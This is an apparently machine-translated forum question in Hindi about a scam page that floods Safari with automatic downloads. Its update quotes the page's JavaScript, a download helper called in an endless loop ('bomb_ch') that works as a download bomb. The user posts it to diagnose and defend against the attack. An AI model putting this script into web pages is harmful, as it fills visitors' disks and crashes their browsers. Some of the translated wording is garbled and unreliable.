पृष्ठभूमि
कई "संदिग्ध" साइटों (मूवी साइट आदि) पर एक नया स्पैम पेज दिखाई देने लगा है। यह नया स्पैम पेज नकली स्कैन की श्रेणी में आता है, मैककीपर, "यू हियर ए वायस", आदि श्रेणी।
मुसीबत
इस नए पेज के साथ समस्या यह है कि सिर्फ एक पॉपअप होने के बजाय, पेज वास्तव में हर ~ 1ms पर एक यादृच्छिक 2kb (नहीं बस यादृच्छिक पाठ होता है) फ़ाइलों को डाउनलोड करने की शुरुआत करता है। डाउनलोड फ़ोल्डर विंडो बंद करने से पहले भर जाता है और आपको 1000+ फाइल डिलीट करने से बचे रहते हैं। इसके विपरीत, एक समान समस्या जिसमें एक पेज स्पैम प्रिंट संवाद लाता है, प्रतिक्रिया करने के लिए बहुत कम समय है।
विफल समस्या निवारण प्रयास
मैंने डाउनलोड फ़ोल्डर को लॉक करने की कोशिश की। हालांकि इसने डाउनलोड्स को ... अच्छी तरह से रोका ... इसे डाउनलोड करने पर, एक संवाद बॉक्स (छवि देखें) आता है। आमतौर पर, मैं सिर्फ इस डायलॉग बॉक्स को खारिज कर सकता था, लेकिन चूंकि डाउनलोड का प्रयास हर ~ 1ms में किया जाता है, इसलिए मैं हर बार जब मैं खिड़की को बंद करने से रोकता हूं, तो मैं एक नया संवाद पॉप अप करने की कोशिश करता हूं।
फोर्स क्विटिंग सफारी, जो डाउनलोड को रोकती है (1k के डाउनलोड के बाद) लेकिन फिर मैंने अपनी अन्य सभी खिड़कियां ढीली कर दीं
सफारी वरीयताओं में 'प्रत्येक डाउनलोड के लिए पूछें' के लिए सेटिंग्स बदलना। इसलिए काम नहीं करता क्योंकि 1k का अलग डायलॉग बॉक्स मुझे टैब को बंद करने से रोकता है। आखिरकार सफारी दुर्घटनाग्रस्त।
सवाल
मैं सफारी में स्पैम डाउनलोड को कैसे रोक सकता हूं?
अपडेट करें:
डाउनलोड के कारण कोड को पा लेता है (जावास्क्रिप्ट को अक्षम करके और कोड के माध्यम से मैन्युअल रूप से देखकर):
function download(g, h, j) {
var k = new Blob([g], {
type: j
});
if (window.navigator.msSaveOrOpenBlob) window.navigator.msSaveOrOpenBlob(k, h);
else {
var l = document.createElement("a"),
m = URL.createObjectURL(k);
l.href = m, l.download = h, l.click(), setTimeout(function() {}, 0)
}
}
function bomb_ch() {
var g = Math.random().toString(36).substring(20),
h = Math.floor(50 * Math.random() + 25);
while (true) download(h, g, g)
}
function ch_jam() {
bomb_ch()
}
नोट: जेएस को कस्टम पेज पर चलाने में मेरी कुछ समस्याएं थीं। यह डाउनलोड होने के बजाय जम गया। मैं setInterval()
फ़ंक्शन को कॉल करके फ़ंक्शन का उपयोग करके डाउनलोड का अनुकरण करने में सक्षम था download
।